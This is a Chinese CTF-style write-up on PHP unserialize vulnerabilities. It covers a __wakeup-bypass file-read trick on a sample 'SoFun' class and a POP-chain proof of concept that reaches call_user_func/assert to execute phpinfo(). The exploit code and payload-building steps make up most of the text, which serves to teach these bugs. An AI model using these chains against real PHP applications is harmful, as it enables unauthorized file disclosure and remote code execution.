0x01 PHP简单的反序列化
这题是在网上看到的,原题连接不太了解,但是源码题目给了出来,稍微下文件名和排版在本地测试
<?PHP class SoFun{ protected $file='ser.PHP'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){ show_source(dirname (__FILE__).'/'.$this ->file); } } else{ die('Wrong filename.'); } } function __wakeup(){ $this-> file='ser.PHP'; } function __toString(){ return '' ; } } if(!isset($_GET['file'])){ show_source('ser.PHP'); } else{ $file=base64_decode( $_GET['file']); echo unserialize($file ); } ?>
__destruct()类似于c中的析构函数,在对象被销毁时调用
__toString()在这里没啥用
__wakeup()在进行反序列化的时候调用
__destruct()中读取了文件,最终用它读取flag, __wakeup()把读取的文件的对应变量变成当前文件
__wakeup()在__destruct()前面调用
那么目的是绕过__wakeup()进行__destruct()操作
对应wakeup(),存在以下问题,当序列化的字符串中描述的类的成员个数和 {} 内的成员个数不同的时候不会被调用
首先构造payload
<?PHP class SoFun{ protected $file='hello.txt'; public $a = "a"; } $add = new SoFun; echo base64_encode(serialize($add));
运行生成base64
先将它base64解码,然后删除{}中a的对应序列(注意:因为protect和private存在不可见字符,所有用base64,或url编码输出)
最终再base64编个码,包含进来即可,我hello.txt文件的内容即之前做题留在上面的文件(所有内容不重要,重要的是漏洞利用>_<)
0x02 PHP反序列化的进一步利用
https://bbs.ichunqiu.com/thread-39169-1-1.html
那么结合最后的typecho的反序列漏洞,模仿着写了一个简易的代码
<?PHP class C1{ function __construct($key, $word){ $sijidou = $key . $word; } } class C2{ private $a2; function __toString(){ echo $this->a2->ying; return "hello"; } } class C3{ private $fun; private $parm; function __get($key){ $this->run(); return null; } function run(){ call_user_func($this->fun, $this->parm); } } if(isset($_GET['ser'])){ $s = $_GET['ser']; $arr = unserialize($s); $class1 = new C1($arr['siji'],$arr['dou']); } else{ highlight_file("demo.PHP"); } ?>
这里是需要构造pop链,来达到最终执行run()方法中的call_user_func()来达到代码执行
构造思路是入口为ser的参数,该参数是数组
ser数组的 "siji" 和 "dou" 两个键值対会被C1的中的__construct调用
该函数把参数当做字符串进行字符串使用,于是可能会调用到C2的__toString魔术方法
__toString方法里面调用了私有成员的方法,因此又可以利用C3的__get魔术方法
附上我写的poc
<?PHP class C1{ function __construct($key, $word){ $sijidou = $key . $word; } } class C2{ private $a2; function __toString(){ $this->a2->ying; return "hello"; } function add(){ $this->a2 = new C3(); } } class C3{ private $fun = "assert"; private $parm = "PHPinfo()"; function __get($key){ $this->run(); } function run(){ eval($this->a3); } } $class2 = new C2(); $class3 = new C3(); $class2->add(); $exp = array('siji' => $class2, 'dou' => 'dou'); echo urlencode(serialize($exp)); ?>
利用成功,成功执行PHPinfo
这里自己因为一些原因把该题目挂到了自己的服务器上,大家可以试着找找其中的flag(注:请执行看看PHPinfo里面的禁用的函数)
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。